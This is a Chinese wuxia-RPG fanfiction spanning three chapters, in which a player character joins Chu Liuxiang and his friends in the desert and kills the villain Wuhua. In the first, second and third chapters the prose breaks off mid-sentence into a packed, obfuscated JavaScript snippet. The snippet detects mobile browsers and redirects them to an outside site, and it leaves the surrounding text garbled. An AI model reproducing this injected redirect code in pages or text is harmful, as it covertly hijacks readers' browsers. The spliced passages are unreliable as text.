《[综武侠]在武侠RPG里点满好感度真的没问题吗》 1. 第一章 * 大漠,一眼望不到尽头的大漠。黄沙和天空连成了一片,阳光炙烤着大地,空气变成了扭曲的热浪,一层一层拍打在人的脸上。 在这片无垠的沙漠里,是无法寻找到人烟的。 楚留香、姬冰雁、胡铁花这三个刚刚重逢的好朋友已经许久没有喝过水了。这并不是因为他们的准备不够充分,没有带足水囊,而是因为有人提前埋伏算计了他们。 被下过毒的水自然是无法饮用的。没有了水,也就没有办法再进食了。 人在饥渴的状态下吃了干粮,只会越来越渴,越来越难捱。 这三人俱是江湖豪杰、人中龙凤,但在这渺渺的大漠里,纵使你有再高的武功、再滔天的权势,也不过是肉.体凡胎而已。 只是,像楚留香、姬冰雁和胡铁花这样的人,无论在什么地方,无论身处桃源还是绝境,他们总有办法让自己过得潇洒。 这并非是指物质上的享受。他们对彼此的忠诚、对道义的坚持,就足够让他们无论身处怎样的境地都能自得其乐。 * 沙漠的水源大多掩藏在无垠的黄沙之下。地下的淡水看不到也摸不着,有些会改道流向他处,有些则会逐渐枯竭。 楚留香一行人如今就遇到了这样的难题。 他们花了一个时辰,掘地三尺,依然没有找到姬冰雁曾经遇见过的水源,入目所及只有一片灰茫茫的黄沙。 这三个好朋友,并姬冰雁的仆从小潘,还有一个既聋又瞎的哑巴石驼,他们五个人已经无水可喝、无路可退了。 如若不是那一场刺杀,叫刺客趁机用毒针刺破了水囊,姬冰雁绝不会让自己和朋友过得这么狼狈,可无论是他还是楚留香,都没有因此指责胡铁花。 倘若有一天胡铁花懂得了什么叫明哲保身,那他也不会是胡铁花了。同样的,倘若有一天叫姬冰雁和楚留香因为朋友施手救了人而责怪朋友,那么他们也不会是姬冰雁和楚留香了。 姬冰雁的胸膛剧烈地起伏着。枯竭的水源像是一记耳光,重重地打在他脸上。 他说的半点不错。大漠远比胡铁花和楚留香想象中的险恶百倍、千倍。 而这两个人竟还笑得出来,不见分毫懊恼,足可见他们的确是一对再值得不过的朋友。 恰在此时,远处忽然传来了一阵急促、狂乱的马蹄声。 这在沙漠中是尤为罕见的。只有走镖的镖师才会在这里选择马匹作为坐骑。三人和小潘立刻躲在了岩石后,石驼将骆驼牵到坑底卧下。 须臾之间,便有四匹马载着四个身着劲装的人飞奔而来。 不待楚留香等人反应,这四人突然发狂般跳下马去,一齐拔出了佩刀。 他们仿佛在和不存在的敌人缠斗,大叫着挥砍数下后,竟全都满头大汗,力竭般软倒在了地上。 就在最后一人委顿于地的同时,胡铁花起身从掩体后冲了上去。 那男子还剩最后一丝气力,胸膛微弱地起伏着。胡铁花掰开他的嘴,将仅剩的半壶酒灌了下去。 他已经认出了来人的身份。他们使的正是彭家刀法“五虎断门刀”。 酒精催发出了镖师身体里最后一线求生的本能,胡铁花急得额头生汗,可无论他怎样询问,这濒死之人也只是痛苦地在地上艰难挣扎,喉咙中不时传出“嗬嗬”的惨嚎,仿佛正在经历惨无人道的折磨,几乎不似人声。 不消半盏茶的功夫,他就彻底没了声响。 * 胡铁花仍跪在地上,两只裤筒脏得不能再看。那具狰狞可怖的尸身正躺在他面前。 姬冰雁站在胡铁花身后,面色像寒铁一样冷。 “这四个人不会无缘无故发疯。”他说。 胡铁花怒声道,“自然是有人要害他们!” 楚留香蹲在一具尸体旁边,将这人仔仔细细地查看了一遍,“截杀镖师,或许那个人的目的正是为了他们手上的镖。” 小潘早就软倒在了地上。他还沉浸在方才的惊惧之中,面无人色,颤声喃喃道,“是恶魔……传说里吃人心肝的恶魔真的来了!” 姬冰雁的眉头皱了起来,他走到楚留香身边,询问道,“你瞧出他们的死因了么?” “脱力、脱水,似乎还中了一种奇怪的毒。” “你没有见过?” “毒性和罂粟有些相似。”楚留香沉声,“或许他们正是因为饥渴才会出现幻觉。毒素加剧了症状,导致他们最终发狂而死。” 姬冰雁和胡铁花都没有说话。 一片沉默中,只听得到小潘牙关控制不住发颤的咯咯声,就连石驼也在不知不觉中淌下了冷汗。气氛沉重得近乎凝滞。 不过短短数日,楚留香一行人就已经遇到了两起匪夷所思的刺杀。 任谁也知道,此行必定凶险万分。 正在众人心情沉重之时,沙丘上陡然投下了一道不祥的黑影。 那黑影迅速逼近,眨眼间就已掠至了近前。胡铁花定睛一看,竟然是一只巨鹰。 鹰盘旋一圈,调整好位置,极其迅速地俯冲下来,丝毫不给人反应的时间,精准地从马背上衔起了一只木箱,双翅一展,轻飘飘飞出了数丈。 楚留香当即要拦,然而,比他更快的是一柄从远处掷来的长刀。 刀身裹挟着劲风,流星般呼啸而至,径直没入了巨鹰的左翅根部。 鹰哀啼一声,挣扎着翅膀在半空扑了两下,带着木箱一起坠在远处的沙丘上。 箱子落在沙砾上,向前翻滚了两圈,楚留香、胡铁花和姬冰雁却都没有去管。 他们紧盯着长刀飞来的方向,如同三把已经出鞘的利刃。 过了几个呼吸的功夫,姬冰雁才隐约听到了铁蹄奔踏在地面上的声音。 那节奏好似踩在了众人的心脏上,直叫它们在胸腔里跳得咚咚作响。这么远的距离,来人居然能精准地钉中移动的活物,实在不能不叫他们提起防备。 弥漫的风沙中逐渐显露出一骑的身形。 祂们裹风而来,路过巨鹰坠落的地方时,马背上的人双腿夹紧马腹,从马侧俯下身去,长臂一伸,利落地将长刀抽了出来。 刀身甩落,带起一捧飞溅的血花,顺势轻巧地挑起了前面的木箱。 马奔驰的速度很快,转眼间,来人已经到了近前。祂在距离楚留香三丈远的地方勒住了缰绳,翻身下马,牵着马匹步行而来。 这下,胡铁花总算看清了祂的相貌。 那是一个十足俊俏的少年人,肤色白皙,眉眼风流,腰线劲瘦,皮靴包裹着修长的小腿。即使身处大漠,她也丝毫不显得狼狈。 她身边那匹纯黑色的悍马同它的主人一样,毛色油亮、神气十足。即使在这片稍不留神就会将蹄铁陷进去的沙地之上,它也依然如履平地。 纵然是姬冰雁这样富甲一方、见惯奇珍的商人,也不能挑出这匹马的不是。只可惜,这样的动物是不适合在沙漠中生存的。 * 当着npc的面,芒青没有把木箱收进背包。 游戏中的感官足够真实,虽然看npc一惊一乍的样子也很有趣,但芒青一路走来吃了一嘴的沙子,现在嘴巴里都还发苦,委实没什么心情逗弄这几个灰扑扑、看起来就凄凄惨惨戚戚的数据小人。 左边的高个子npc率先弹出了对话框。 “在下楚留香,敢问姑娘名姓?” 与此同时,他的头顶上也刷新出了自己的名字。 闻言,中间的npc这才像是刚从待机状态里回过神来,大叫道,“什么?她是女人?!” 芒青:“?” 她创的是女号啊? 难道npc的话有其他含义?剧情线索吗。 右边的数据小人冷冷地说,“她没有喉结,当然是女人。” 名叫楚留香的npc继续含笑道,“这两位是在下的朋友,胡铁花和姬冰雁,冒犯之处还请姑娘莫怪。” 如果此时的楚留香还是曾经的那个风流浪子,这一笑足以让芒青刷出一张cg,可惜这位大名鼎鼎的楚香帅早已被黄沙淹入了味,再灿烂的笑容也无法让人透过灰土和油垢看清他烫男人的本质。 芒青点一下头,言简意赅,“芒青。” 她打量了一下狼狈的三人,目光从他们憔悴的面庞上一闪而过。 思索一下,她掏出马背上的水囊,点击【送礼】。 【赠送[水囊1],人物好感度+3,地图特殊加成,好感度+2】 水囊递了出去,名叫胡铁花的npc犹豫不决,“姬冰雁”更是没有伸手接取的打算,芒青看了看神色纠结的楚留香,拔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16118101|180007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 开木塞,仰头喝了一口。 她把水咽下去,感受了一下。胃里像是落进了一团空气,没什么实感。又倒出一些水来,芒青拘在手心里给马喝了。 【玩家使用[水囊1],该物品为已赠送道具,生命值+0,当前生命值[89/100]】 “没毒的。”芒青说。 她拍拍黑马脖颈下的水囊,“而且我还有水。” 自称楚留香的男人露出一抹苦笑,看起来似乎有些窘迫的意味。下一瞬,他复又郑重了神色,抱拳道,“姑娘援手之恩,楚某定当报偿。” 这么跟她说的npc没有十个也有八个了,芒青左耳朵进右耳朵出,随口应了。 * 既已下决心接过了人家的水囊,楚留香便不再犹豫。 他把水平分给胡铁花、姬冰雁、小潘和石驼。石驼将骆驼从坑底牵上来,众人休整一番,便准备动身了。 胡铁花欲言又止。承了人家的情,到底不好唐突,只是目光频频落在那只沾满了沙砾的木箱上。 芒青注意到他的视线,屈指敲了敲木箱,“空的。” 胡铁花面露惊讶,姬冰雁也看了过来。 芒青走到最后死去的镖师身边。他的肩头正闪烁着代表系统提示的幽幽绿光。 伸手扒开他脖颈处的衣服,露出肩膀,芒青用匕首沿着边缘轻轻一划,一颗鸽子蛋大小、璀璨如星子的宝石就这么从皮肉中露了出来。 胡铁花叫道,“原来他竟将镖货缝在了肉里!” 他转头去看楚留香和姬冰雁,二人脸上哪有半分惊诧的神色,显然早已有所觉察。 楚留香询问道,“姑娘可知这是什么?” 芒青点开系统面板。 【□□□□ [当前内容不予显示]】 “……”芒青:“不知道。” 停顿一下,她补充,“大概是很重要的东西。”起码是很重要的剧情道具。 这一点就连胡铁花也看出来了。 无论是宝石的成色还是大小,都是世所罕见的。这样珍贵的东西,在某些时候,其所代表的象征意义往往要远高于它们的实际价值。 * 楚留香三人一一把宝石接过去查看,却都没能瞧出什么门道,一行人只好重新骑上骆驼,启程上路。 楚留香看着马背上随意虚扣着缰绳的少年,询问道,“姑娘这是要往什么地方去?” 芒青坦然地说,“不知道。” 这下,不仅是胡铁花和楚留香,就连姬冰雁也惊异地看了她一眼。 楚留香摸了摸鼻子。胡铁花大声问,“那你来沙漠是做什么的?” “寻人。”芒青打开任务面板,看着上面的剧情简介说,“临溪沈员外的独女在半个月前失踪了。” “她是你的朋友?” “不是。” “那么是你熟识的人?” 芒青仍旧摇头,“我与沈姑娘素昧平生,只隐约听闻她似乎是在屋子里忽然凭空消失的。” 试试npc这里能不能触发相关线索。 楚留香眸光微动,却并没有言语。 “她就在沙漠里么?”胡铁花说。 “也许吧。”芒青沉思道,“或许她已经被转移到了其他地方,不过我总会找到新线索的。” “临溪离兰州足足有三千多里,你难不成是一路寻来的?” 芒青点头。 “你难道没有想过她可能已经遭遇了不测?”话音出口的一瞬间,胡铁花就已然闭上了嘴巴。 小潘不由微叹了口气。只要不是呆子、傻子,又怎么会想不到呢。 出乎所有人预料的,他们听到了芒青否认的回答。 “没有。”她说。 这个答案不仅让胡铁花吃了一惊,也让姬冰雁和楚留香同样倍感诧异。 年轻人似乎像是才考虑到这种可能性一般,她思索着,缓慢而坚定地道,“于我而言并没有什么分别。无论如何,我总是要来找过的。”这可是支线任务啊。 楚留香默然。 为了一条虚无缥缈的线索、一个不知生死的陌生人孤身深入大漠,已足够被人叫一句壮士。而倘若这个人的所作所为既不是为了钱财,也不是为了名利,那么她就足够被人称一声侠客。 2. 第二章 * 胡铁花一生见过许多的阳光。桂林山水的阳光是峰林薄纱间撒下的碎金;泰山之巅的阳光是云海破晓中的一柄利剑;落日夕阳的阳光是勾勒远山轮廓的柔笔。 唯有大漠的烈日不同。它是烧红驼铃的烙铁、是自苍穹之上倾泻的岩浆,这样的阳光,人类是绝对无法欣赏、享受它的。 胡铁花在靠近沙漠的马莲河畔生活了三四年。 他蓄着一把青色的胡茬,几乎覆盖住了整张脸,唯独一双露在外面的眼睛大而明亮。此刻,这双眼睛正专注地凝视着那个突然出现又与他们同行的少年人。 她的容貌超脱了性别的桎梏。剑眉星目,桃花眼下坠着一颗泪痣,睫毛浓密,山根挺而直,唇角天生便含着一抹笑,脸型尚且带着圆钝的弧度,看起来分外有少年气,中和了五官带来的冲击性。 这样的一个人,用面如冠玉来形容真是分毫不错。 而这同样是一个很古怪的人。她看着他们时的眼神分明是在瞧三个陌生人。 自称芒青的年轻人既不像是认识姬冰雁,也不像是冲着他胡铁花而来。她看起来甚至连楚留香的名号都没有听闻过。 这江湖,还有谁不知道名扬天下的盗帅楚留香呢。 胡铁花兀自思索着,分毫没注意到自己的好朋友也在盯着人家看,倒是楚留香若有所觉地瞥了二人几眼。 姬冰雁和胡铁花的关注点不一样。他的目光始终逡巡在芒青的衣饰之上,带着些许打量的意味。 少年人的头发用一根很朴素的赤色发带高高束起,舒肩窄腰,着一身纯黑色劲装,腰带的样式有些近似隋唐时期的蹀躞带,已有了不少的磨损和划痕,马匹前行时隐约可见其腰腹处一层薄薄的、正在律.动的肌肉。 乍一看,她仿佛仅是一个普通的游侠,只有仔细地去瞧,才能从这之中发现些许端倪。 此人身上劲装的袖口和衣摆处皆织有银色的暗纹,左右两侧腰间各悬有一块做工精良的玉佩。左边一只墨如漆色、浑身通黑;右边一只白如凝脂,通体纯白。脚下蹬着的皮靴所用的皮料亦完整光滑、针脚细密。 这是一个颇有来历的人。 她拿在手里的那把铁刀倒是真的平平无奇,刀身与刀柄的连接处甚至生出了斑驳的锈迹。 令姬冰雁在意的是,这不知来历的少年背后还背着一把用布条缠裹得异常严实的重剑。 * 一行人继续行进了一天一夜。 大漠昼夜之间的温差足能把一个不曾在这里生活过的人活活逼疯。白天,他们分辨着太阳的轨迹前行,夜晚,他们支起帐篷,将自己裹在厚厚的毯子里躲避呼啸的寒风。 只有石驼和芒青不同。 石驼裹着毯子,睡在骆驼旁边。芒青则抱着她的刀和剑靠在黑马的肚腹上。 胡铁花翻来覆去,如同一张摊在热锅上的烙饼。他忍了半天,还是蹑手蹑脚地爬起身,把帐篷拉开了一条小缝。 沙漠夜晚的星空无比璀璨,可惜并没有多少旅人有心情欣赏这里的美景。 银河宛如流动的光带,似鹅绒,又似丝绸。漫天繁星恰如一颗颗闪耀的钻石,点缀在这匹由自然织就的锦缎之上。 在这样璀璨的星河之下,坐着一匹马、一个人。 芒青抱着一柄剑,正在专心致志地做着一件事情。 在她手中,那些缠裹着重剑的布条解开了。 胡铁花屏住了呼吸。 剑刃出鞘,剑身上的寒芒竟比今晚的月色还要冷上几分,几乎能灼伤人的眼睛。光辉流转间,刃身的纹路竟如游龙般栩栩如生。 少年人专心致志地擦拭着那把世所罕见的神器,眼中除了她的剑,好似已再无他物。人映剑辉,剑辉亦将人衬得更美三分。 一时间,胡铁花竟有种头晕目眩的感觉,许久才终于想起呼吸。 他深深抽了一口气,窒息带来的不适让他忍不住向后退了半步,不料却因此撞在了另外一个人的身上。 楚留香和姬冰雁不知什么时候起了身,此刻具都凑在胡铁花的身边。 胡铁花骇了一跳,压低声音,叱道,“老臭虫,你难道要吓死我不成?” 楚留香回过神,看他一眼,含笑道,“是你看得痴了,何苦倒打我一耙。” 胡铁花将拉开的缝隙重新盖严,“你们可曾听说哪里有过这样一把剑么?” 楚留香脸上的笑容敛了起来,缓慢地摇了一下头。 姬冰雁冷冷地说,“她的来历定然不简单。如此神兵利器,江湖上竟然闻所未闻,见所未见。” 楚留香道,“兵来将挡。” 姬冰雁面笼寒霜道,“只怕有些麻烦是连你也挡不住的。” 话毕,他也不去看楚留香的反应,一翻身躺下睡了。 * 芒青把背包重新整理了一遍,又吃了两粒回春丹,成功把跌破及格线的生命值拉回了90。 她欣赏了一会儿自己的待机动作,可惜全息游戏不能截图。 重剑是她目前唯一拥有的S级武器,开局即送,对boss有1000点的加成伤害,不仅前期能帮玩家快速通关第一个副本,还貌似是推进主线剧情的重要道具。 芒青翻了翻她的个人信息,发现状态那栏显示着[组队中]的标识。 她点开队友,挨个查看了一遍。 【楚留香(lv.64) 性别:男 年龄:28 绝技:轻功、暗器暴雨梨花针 队友(可变更):芒青、胡铁花、姬冰雁 好感度:☆☆】 【胡铁花(lv.42) 性别:男 年龄:26 绝技:蝴蝶穿花七十二式 队友(可变更):芒青、楚留香、姬冰雁 好感度:☆☆】 【姬冰雁(lv.40) 性别:男 年龄:26 绝技:判官笔 队友(可变更):芒青、胡铁花、楚留香 好感度:☆☆☆】 没什么事情可做,芒青点击了跳过。 再睁开眼,已是天光破晓。 芒青留了一个水囊给楚留香等人,做好人好事的同时顺便刷了点好感度,又喂马吃了几颗麦芽糖,把坐骑的生命值也回复到了九十多,趁他们吃饭的功夫骑马出去溜了一圈。 回来的时候,黑马头顶上的宝石已经变成了代表愉悦的绿色。 小潘正奋力把卷好的帐篷往驼背上放,见到芒青过来,热情地同她问好。 芒青随意看了一眼他的详情,惊奇地发现这位长了张娃娃脸的小伙居然已年过不惑。建模上完全看不出来。这对吗。 胡铁花的目光不时就要往芒青的身上飘一飘,姬冰雁和楚留香自然知道他是为了什么,权当做没有看见。 胡铁花终于还是憋不住了,他叫住端着刀路过的芒青,“芒青姑娘,你不吃点东西吗?” 芒青心说这npc还挺智能,但我不是已经把生命值回满了吗,嘴上回答道,“已经吃过了。” 胡铁花挠挠头,“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16118102|180007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 哦哦。” 芒青见他没其他话要说,举着铁刀走了。 楚留香在旁边看得好笑,却也没戳破,一转头,姬冰雁正抱臂站在他身后,不由好笑道,“你这是在做什么?” 姬冰雁悠悠瞥了他一眼,冷哼,“你既已瞧出他的心思,何不叫他知道得明白些,总归他自己是意识不到的。” 楚留香道,“有些事情,旁人又如何说得呢。” 姬冰雁没有再说话,转身去找石驼了。 * 芒青削了几根枯木装在行囊里,赶路的时候用一把匕首慢慢地雕。 她通常只花几下修个形,就把木雕揣进布袋里去,重新摸下一个出来。 有些木头经过积年累月的侵蚀,已变得风化发脆。一刀下去,该掉的不该掉的全都不分你我地碎成了木渣。 楚留香看了几眼,实在没瞧出这是个什么形状,大约也只有亲手雕刻它们出来的人才清楚它们该有的模样。 大部分情况下,楚留香都是一个很知情识趣的人。他不问,姬冰雁在外人面前更是罕言。小潘眼珠滴溜溜在几人身上转了一圈,低下头去,什么也没说。 只有胡铁花在驼背上抓耳挠腮好半天,终于还是耐不住开了口,“芒青姑娘,你这是雕的什么东西啊?” 芒青把木块拿远,沉思了一下,“是我师兄。” 胡铁花惊讶道,“这居然是一个人么?” 芒青思索道,“不像吗?” 胡铁花说,“很难像吧。” 芒青就笑了,“或许我的确没什么木雕的天赋。” 她把那个半成品偶人也塞进了包里,任它们随着马匹的前进互相碰撞,叮叮当当响个不停。 胡铁花自觉已经打开了话匣子,顺势道,“还未问过姑娘师承。” 少年人下意识地摸了摸布袋,“只是一个小门派而已。” 胡铁花追问,“那也总该有个名字罢?” 芒青信口胡诌,“师门正是只是一个小门派而已。” 胡铁花还没反应过来,身侧却已传来了楚留香的闷笑声,转头一看,就连姬冰雁也勾起了唇角。 他回过味来,顿时大笑道,“芒青姑娘,想不到你这样的人也会戏耍别人么?” 芒青一本正经,“我不骗人的。” 胡铁花又是一阵大笑。 他笑完了,注意力便自然而然地转移到某样已令他在意许久的事物上,“这把剑也是源自你师门吗?” “嗯。”芒青把匕首上的木屑擦干净,答道,“是我师兄的剑。”所以才会开局即送。 胡铁花一愣。 姬冰雁和楚留香也一齐怔住了。怪不得她平日从来不用。 楚、姬二人皆已觉察出了端倪。唯有胡铁花奇道,“你师兄的剑既在此处,那他又在什么地方?” “不知道,所以我要去找我师兄。” 马背上的年轻人遥望着前方无边无际的大漠,侧颜看起来竟有几分难言的孤寂。 胡铁花想问“难道你师门里没有其他人能联系得上你师兄么”,只是话音还没出口,就已经被楚留香截断。 他陡然醒悟过来。正是因为师门中其他人都业已不在,所以才要芒青一个人背着剑去找师兄。 至于那位师兄,情况恐怕也远比他想象的要复杂。 拥有这样一把剑的剑客,倘若不是到了万不得已的地步,又怎么会轻易与自己的剑分开? 如果他肯将问题问出来,大抵是能得到芒青的回复的。剧情里说她师兄把剑留给她玩了。 3. 第三章 * 胡铁花兀自沉思的功夫,楚留香已将话题岔开到了其他地方。 漫无边际的闲聊下,时间过得飞快。 远处的黄沙之中逐渐显露出了几间矮小建筑的轮廓。 起初,姬冰雁和楚留香都以为那只是一片海市蜃楼,可随着距离的缩短,木屋的形状竟逐渐变得清晰起来。 三人对视一眼,已拿定了主意,楚留香遂问道,“芒青姑娘与我们一同过去么?” 芒青看了一眼自己苦刷一个月的轻功等级,掂量了一下,点了点头。 于是姬冰雁让石驼、小潘留在隐蔽处看守坐骑,四人运起轻功,几个纵跃便悄无声息地落在了距离木屋十丈远的地方。 习武之人耳目灵便,看屋外的痕迹,显然是有人生活的。 沙地上有杂乱的、朝向屋内的脚印,却没有向外的足迹,想来屋中必是有人。 稍待片刻,周遭仍然只有一片诡异的寂静,除了芒青一行人的呼吸声外,竟连一丝风声也无。 楚留香和姬冰雁交换了一个眼神,下一刻,他已身形如风地掠了出去。眨眼的功夫,人就出现在了木屋的屋顶上。 不消片刻,楚留香探查清楚此间情况,就又像一只轻巧的鸟儿一样稳稳地飞了回来,落在了胡铁花身边。 然而,与他的动作不同,楚留香的神色显得无比凝重。 他道:“二十一人,都已中毒身亡了。” 胡铁花和姬冰雁骇然变色,再顾不得其他,当即提气而去。 芒青和三人一齐落在木屋外,楚留香下意识侧过身,半挡住了芒青投向屋中的视线,转瞬又反应过来,匆忙回头看了她一眼。 芒青没注意到他的小动作,自己挪了两步,寻到一个空隙,跃跃欲试地探头往里看。 只可惜,她是一定见不到期待的场面了。 玩家被密密麻麻的马赛克糊了一脸。游戏在过审这方面属实颇有心得。 芒青:“……”啧。 楚留香留心注意着,见她神色如常,这才放下心来。 * 屋内的情形实在可怖非常,纵使早已有了心理准备,直面这幅修罗般的惨状时,胡铁花还是控制不住地倒抽了一口冷气。 更为诡异的是,在这间几乎可以称作破败寒酸的木屋中,竟矗立着一座巨大而精美的佛龛。 龛里的佛像似乎正半掩在这层层帷幔之后,静静地注视着几位不速之客,无端让人后脊发寒。 芒青踏过地上的尸体,走到佛龛前,缓慢地、一点一点地将黄色的帷幔拨开。 空的。 这里既没有佛像,也没有刺客。 屋外突然传来小潘惊恐的大叫,他声音凄厉,仿佛身后正有一只索命的恶鬼,让人丝毫不怀疑他已经用尽了全身的力气呼救,“石驼疯了!……石驼发疯了!!” 在这样诡异的时刻,突然发生了一件同样诡异的事情,便更让人觉得悚然。 姬冰雁、胡铁花和楚留香立刻一齐冲了出去。 小潘跌跪在门外的空地上,瞧见来人,竟像是魔怔了一般,口中仍然不停地重复着那句话:“石驼发疯了——!石驼发疯了!!” 姬冰雁一掌掴在他脸上,厉声道,“怎么回事!你说清楚!” 小潘一个激灵,这才回过了神。他浑身都在打颤,齿间咯咯作响,“我不知道……你们走后,我和石驼一直待在原地……后来一阵风吹过去,石驼忽然像是瞧见了鬼,撒腿就跑。你们没看见,他的样子实在太恐怖了……” 姬冰雁抓着小潘的领子,喝问道,“他往哪个方向跑了?!” 小潘发着抖指了一个方向。 他的胳膊还未落下,楚留香就已追了出去。姬冰雁、胡铁花紧随其后。 芒青看着他们的背影,既没有跟着他们一起离开,也没有开口说一个字。 * 屋外的风卷起沙砾,屋内的光线也随之变幻了形状。 她等待着,就像是丛林里最有耐心的猎手。 一个人,一柄刀,就这样安静地站在房间之中。 忽然,木屋中腾起了一股紫色的浓雾,极迅速地笼罩住了芒青的身形。与此同时,一片浓黑而不祥的阴影也遮盖住了门外投射进来的阳光。 芒青转过身,一个脸色蜡黄、獐头鼠目的男人悄无声息地出现在了她的身后。 芒青:“…………” 芒青:有鬼!! 长刀立时出鞘,发出铮然一声厉啸,直奔命门而去,那男子却丝毫未慌,只用一双手便架住了这迅猛而来的一刀。眨眼间,两人已在满地尸骸的房间中过了十数招。 这人的掌法奇诡,时而似虚非实,时而似实非虚,手指更是如同钢筋铁骨,芒青手中的[一把平平无奇的铁刀]很快就变成了[一把即将报废的铁刀]。 她使出最后一劈,手背瞬间崩起数道充血的青筋。 刀刃以一个刁钻的角度袭上面门,鼠须男子的脸上反而露出了一抹微笑。 他并指一夹,厚重的刀身再不得寸进,发出一声不堪重负的哀鸣,竟就此裂成了一块块碎片。 铁片散落在地上,声音犹如一串脱了线的风铃,无比清脆,也无比刺耳。 刀身既碎,男子也停下了攻击的动作,负手而立。 单看他的行止,倒是会让人以为这是一位颇为文雅的翩翩公子。他的声音也并不辜负人们的想象,同样动听悦耳。 “姑娘何必动这么大的气。”他叹息道,“在下只是想请姑娘吃一口茶、叙一叙话而已。” 芒青点一下头,“既然如此,阁下是否能先回答我一个问题呢?” 鼠须男人只是看着她,但笑不语。 芒青看见他的反应,便又了然地点了一下头。即使她已失去了身边唯一的武器,神色却仍旧从容得很,“那么,我们就没什么好说的了。” 男人神色不变,依然是那副故作温雅的姿态,眉宇间却隐隐流露出了一丝戏谑的不屑,“既然姑娘不愿意配合,在下也只能用上些非常手段了。” 话音未落,他已屈指成爪,向前抓来。 在这间只余两人的屋舍中,除了芒青自己外,大概再没有第二个活人能瞧清楚她是怎样出手的了。 剑气迅如闪电,剑光亮若银虹。惊鸿一剑,不仅让双方的处境瞬间逆转,也让无花看清了对面人的神色。 少年俊俏的面庞之上,竟也带着一抹稀松又稍纵即逝的笑意。 无花的心脏重重一沉。 这个人的剑法与她的刀法全然不可同日而语——她分明是一位剑客! 眨眼间,无花五根削铁如泥的手指齐根而断。他甚至还来不及感受到那撕心裂肺的痛楚,下一瞬,人头就已经自脖颈处分离,咕噜噜滚落到了地上。 无花大睁着双眼,似乎仍然不敢相信眼前发生的一切。 这样一个狠毒、狡猾、奸诈的恶人,居然就这样在一间再简陋不过的木屋里、在一位名不见经传的少年手下悄无声息地死去了。 那张丑陋、猥琐的人.皮面具在他死后依然牢牢地扒在他的脸上。 温热的血液自断口处喷涌而出,房梁沾染上了不祥的鲜红色泽。芒青从容地退开两步,看着无花覆满马赛克的身体轰然倒地。 她坐在木屋外的空地上,点开游戏面板,系统信息立刻密密麻麻地铺满了光屏。 【[系统提示]您已存档】 【[系统提示]背包已收录S级武器[断山剑]】 【玩家已使用[初级解毒丸1][中级解毒丸1]】

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16118103|180007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 【玩家已使用[中级回春丹1]】 【检测到特殊debuff,每两秒钟扣除1点生命值,闪避成功率-30%,请玩家再接再厉】 【玩家已使用[中级回春丹1],当前生命值[76/100]】 【[一把即将报废的铁刀]已损毁,可在系统背包中回收为1金币】 【[警告]生命值已低于20%】 【[警告]生命值已低于10%】 【生命值低于5%,激活特殊称号[九死一生]。佩戴称号增加20点最大生命值,提升10%攻速,提升20%暴击伤害】 【您已使用S级武器[断山剑],持续增益将在[0:9:59]后失效】 【[断山剑]增益效果消失,冷却时间[71:59:59]】 【玩家已击杀[妙僧无花(□□□)],获得升级点数20,经验点数1500,金币奖励10000】 【检测到掉落物品:[高级回春丹1] [中级回春丹3] [初级回春丹10] [中级解毒丸3] B级道具[一本平平无奇的剑谱] C级武器[匕首] C级道具[人.皮面具初级]】 …… 【[系统邮件]您已升级,当前等级[lv.35]】 【[系统邮件]您已升级,当前等级[lv.36]】 【[系统邮件]您已升级,当前等级[lv.37]】 芒青一键已读,佩戴上称号。 【玩家已使用[中级回春丹3],当前生命值[92/120]】 【是否对S级道具[断山剑谱]使用20升级点数?使用后,[断山剑谱]将保留等级S级,学习难度降低10%,学习速度增加10% [是] [否]】 芒青毫不犹豫,把击杀红名小boss的点数全都加给了她现在唯一的S级道具,又斥重金花200金币在商城里重新购买了一把平平无奇的铁刀。 * 在无尽的大漠之中,你是很难从这里寻找到一个人的。 逃跑的人拼命地逃,追赶他的人也只能打起十二万分的精神努力去追。 好在小潘报信足够及时,且楚留香三人又都有着一身好武艺、好轻功,不过一二盏茶的功夫,他们便瞧见了石驼留下的痕迹。 这些脚印还没有被沙砾掩埋,这代表楚留香已经就快要追上他了。 又过了不到半刻钟的时间,几人果然瞧见了石驼的身影。 这个铁塔般的大汉像是陷入了一场可怖万分的梦魇。那张看不出表情的、犹如风干腌菜般的面庞上竟然显露出了鲜明的恐惧来。 石驼仿佛变成了一只发狂的野兽,只顾发足逃命,即使摔倒在地,他的第一反应也是爬起来,继续向前不要命地狂奔。 这样一个几乎已完全丧失了神智的人,只靠楚留香是拿不住的,三人一同施力,才堪堪将他摁在原地。 待石驼慢慢冷静下来,姬冰雁这才松开了对他的钳制。可惜他们仍旧无法从这个男人的口中得知一分半毫的线索。 楚留香神色沉重,思索着缓缓道,“或许小潘看到的那阵风,并不只是一阵风。” 胡铁花说,“小潘没有武功,如果有一个一等一的江湖高手借助风势,用轻功经过他身边,他必然也是无法察觉的。” 